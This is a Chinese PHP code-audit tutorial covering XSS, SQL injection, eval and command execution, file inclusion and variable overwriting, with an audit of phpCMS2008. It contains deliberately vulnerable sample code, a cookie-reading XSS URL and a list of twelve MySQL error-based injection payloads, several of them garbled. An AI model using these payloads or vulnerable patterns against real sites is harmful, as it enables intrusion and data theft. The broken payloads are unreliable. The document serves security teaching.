一个CMS案例实战讲解PHP代码审计入门

前言

php代码审计介绍:顾名思义就是检查php源代码中的缺点和错误信息,分析并找到这些问题引发的安全漏洞。

1、环境搭建: 工欲善其事必先利其器,先介绍代码审计必要的环境搭建

审计环境 windows环境(windows7+Apache+MySQL+php)

phpstudy(任何php集成开发环境都可以,),notepad++, seay源代码审计系统

1.png

审计环境 linux环境(Apache+MySQL+php)

我用的是kail linux apache与mysql已经集成在linux上了,只需要安装php环境即可

apt-get install php5 php-pear

service apache2 start

service mysql start

2.png

2、xss审计

XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。 xss分为存储型的xss和反射型xss, 基于DOM的跨站脚本XSS。

反射型xss审计的时候基本的思路都一样,通过寻找可控没有过滤(或者可以绕过)的参数,通过echo等输出函数直接输出。寻找的一般思路就是寻找输出函数,再去根据函数寻找变量。一般的输出函数有这些:print , print_r , echo , printf , sprintf , die , var_dump ,var_export。

测试代码如下(简单的说一下原理):

 3.png

存储型xss审计和反射型xss审计时候思路差不多,不过存储型xss会在数据库“中转”一下,主要审计sql语句update ,insert更新和插入。

 4.png

测试代码如下

<?php

mysql_connect('localhost','root','root');

mysql_select_db('test');

mysql_query("set names gbk");

if(isset($_POST['submit'])){

$title=$_POST['title'];

$con=$_POST['con'];

$sql="INSERT INTO `xss` (`id` ,`title`,`con`)VALUES (NULL , '$title', '$con');";

if(mysql_query($sql)){

echo "留言成功";

}else{

echo "留言失败";

}

}else{

$sql="select * from xss";

if($row=mysql_query($sql)){

while($rows=mysql_fetch_array($row)){

echo$rows['id'].$rows['title'].$rows['con']."<br>";

}

}

}

?>

<html>

<form action="?action=insert"method="post">

标题:<input type="text" name="title"><br>

内容:<textarea name="con"></textarea>

<input type="submit"name="submit" value="提交">

<form>

</html>

基于DOM的跨站脚本XSS:通过访问document.URL 或者document.location执行一些客户端逻辑的javascript代码。不依赖发送给服务器的数据。简单的写一个脚本让大家看一下。

<HTML>

<TITLE>DOM base xss !</TITLE>

<SCRIPT>

var pos=document.URL.indexOf("name=")+5;

document.write(document.URL.substring(pos,document.URL.length));

</SCRIPT>

.................

</HTML>

http://127.0.0.1/xss.html?name=<script>alert(document.cookie)</script>

3、sql注入审计:

SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。SQL注入的产生原因:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。

首先说一下普通的注入审计,可以通过$_GET,$_POST等传参追踪数据库操作,也可以通过select , delete , update,insert 数据库操作语句反追踪传参。写一个简单的sql漏洞。

<?php

$conn =mysql_connect('localhost','root','root');

mysql_select_db("test",$conn);

$uid = $_GET['id'];

$sql = " select * from user where id =$uid";

$result = mysql_query ($sql,$conn);

print_r(mysql_fetch_row($result));

?>

在实际环境中程序员永远不会写这样的代码,一般都会用addslashes()等过滤函数对从web传递过来的参数进行过滤,但是如果在php链接mysql的时候,设置了“set character_set_clinet=gbk”就会出现一个编码转换的问题,也就是能产生宽字节注入。character_set_client变量就是作为客户端发送的查询中使用的字符集。简单来说%df’会被过滤函数转义为%df’ ,%df’= %df%5c%27 在使用gbk编码的时候会认为%df%5c是一个宽字节%df%5c%27=縗’,这样就会产生注入。咋们把上面那个普通注入改改,让他变成宽字节注入。

<?php

$conn =mysql_connect('localhost','root','root');

 mysql_select_db("test",$conn);

 mysql_query("set NAMES'gbk'",$conn);

$uid = addslashes($_GET['id']);

$sql = " select * from user where id =$uid";

$result = mysql_query ($sql,$conn);

print_r(mysql_fetch_row($result));

?>

4、sql报错注入的12个函数及sql注入语句:

1、通过floor报错,注入语句如下:   

and select from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2、通过ExtractValue报错,注入语句如下:

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通过UpdateXml报错,注入语句如下:

and 1=(updatexml(1,concat(0x3a,(selectuser())),1))

4、通过NAME_CONST报错,注入语句如下:

and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通过join报错,注入语句如下:

select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过exp报错,注入语句如下:

and exp(~(select * from (select user () ) a) );

7、通过GeometryCollection()报错,注入语句如下:

and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:

and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:

and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:

and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:

and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:

and linestring (()select * from(select user() )a)b );

5.png

join报错注入(剩下的就不贴图了,已经测试啦);

5、代码执行审计:

代码执行审计和sql漏洞审计很相似,sql注入是想sql语句注入在数据库中,代码执行是将可执行代码注入到webservice 。这些容易导致代码执行的函数有以下这些:eval(), asset() , preg_replace(),call_user_func(),call_user_func_array(),array_map()其中preg_replace()需要/e参数。写一个简单的审计测试代码方便理解,如下

<?php

if(isset($_GET['id'])){

$id=$_GET['id'];

eval("$id = $id;");

}

?>

6、命令执行审计:

代码执行说的是可执行的php脚本代码,命令执行就是可以执行系统命令(cmd)或者是应用指令(bash),这个漏洞也是因为传参过滤不严格导致的,一般我们说的php可执行命令的函数有这些:system();exec();shell_exec();passthru();pcntl_exec();popen();proc_open();反引号也是可以执行的,因为他调用了shell_exec这个函数。我们写段代码看一下

 6.png

这种的命令执行要好找一些,通过函数追踪参数,再通过参数来执行,还有可以通过bash破壳来执行,大牛有文章,我就不献丑了,链接如下:

http://www.freebuf.com/articles/system/50065.html

7、文件上传,文件包含漏洞:

文件上传应该是最常用的漏洞了,上传函数就那一个 move_uploaded_file();一般来说找这个漏洞就是直接ctrl+f 直接开搜。遇到没有过滤的直接传个一句话的webshell上去。上传的漏洞比较多,Apache配置,iis解析漏洞等等。在php中一般都是黑白名单过滤,或者是文件头,content-type等等。一般来找上传的过滤函数进行分析就行,这里就不多说了。

文件包含有这么两种:本地包含和远程包含。审计的时候函数都是一样的,这个四个包含函数: include() ; include_once() ; require();require_once().include 和 require 语句是相同的,除了错误处理方面:require 会生成致命错误(E_COMPILE_ERROR)并停止脚本,include 只生成警告(E_WARNING),并且脚本会继续。先说一下本地包含,本地包含就指的是只能包含本机文件的漏洞,一般要配合上传,或者是已控的数据库来进行使用。写一段代码测试一下

首先我们创建一个test.php

<?php

$uid=$_GET['id'];

include(ROOT.$uid.'.php');

?>

再在同目录下创建test1.php

<?php

phpinfo();

?>

7.png

再来说说远程包含,远程包含需要设置 allow_uel_include =On,而且可以http,https,ftp都包含进去,不过实际上这个漏洞太少,很多时候都是代理直接把文件代过来,不审计的时候咋一看还以为是。。。。。。上代码说吧

<?php

include($_GET['id']) //这id直接写url就可以包含

?>

 8.png

 8、变量覆盖

大概有两种情况,第一种register_globals,第二种人为变量覆盖,register_globals= On 的时候,传递过来的值会被直接设置为全局变量使用,而Off的时候,我们需要到特定的数组里去得到它。另一种就是人为变量覆盖,写一段代码看看。

<?php     

   $id = '0'; 

   extract($_GET); 

      if($id==1){ 

   echo "private!"; 

   }else{ 

    echo "public!"; 

   } 

   ?> 

备注:register_globals php4 默认开启 php5 默认关闭

9.png

9、实战:phpCMS2008

首先先找找配置文件环境变量这些,在/include/common.inc.php文件中突然发现

1.png

发现$_SERVER 变量,这个变量不收GPC的保护,ctrl + f 全文找找,在c.php发现这么一些语句

2.png

这个地方没有过滤,直接饮用HTTP_REFERER变量,很开心,继续给下看,发现进行了数据库操作,$db->insert($table, $info); 这不就是注入了吗?在referer处注入即可;

继续审,

3.png

在phpcmsypproduct.php下突然发现这个函数urlencode($areaname),这个函数转换areaname为16进制,猜测一下,解码肯定使用urdecode()解码,看一下,这个参数与数据库没有交互,但是在分页时输入了areaname,尝试成功xss

4.png

继续,在areaname拼接$urlrule变量的时候,

$urlrule="$M[url]product-list-$view_type-$catid-$pagesize--$areaname--$order.html|$M[url]product-list-$view_type-$catid-$pagesize--$areaname--$order-$page.html";

我们发现不仅仅把areaname参数带入,还将pagesize参数带入模板的html,执行进入到get函数处理中,最后经过get->pages->pageurl函数,最终触发pageurl的如下代 码:eval(“”$url= “”$urlrule”";”);在这里,这里将拼接的urlrule进行执行,我们就可以将pagesize参数替代我们想要执行的任意php代码。如下图

5.png

咋们继续给下看,大胖又找到了这个phpcmswapindex.php

6.png

为了方便测试,在目录下写入test.php <?php phpinfo();?>

7.png

phpcms2008完美完成了代码审计的时候的xss, sql注入,代码执行审计,本地包含这一堆漏洞,说实话,大胖也没想到一个cms基本实现php审计实战大部分内容。

fuckbaidu 2016-12-01回复1楼

 

不用mysqli和pdo prepare statements和esapi xss filter的PHP程序猿,一律干掉
不用mybatis或者在mybatis配置中引入$的java程序猿,一律干掉
不用django querysets的python程序猿,一律干掉

原文地址:https://www.cnblogs.com/h2zZhou/p/6121720.html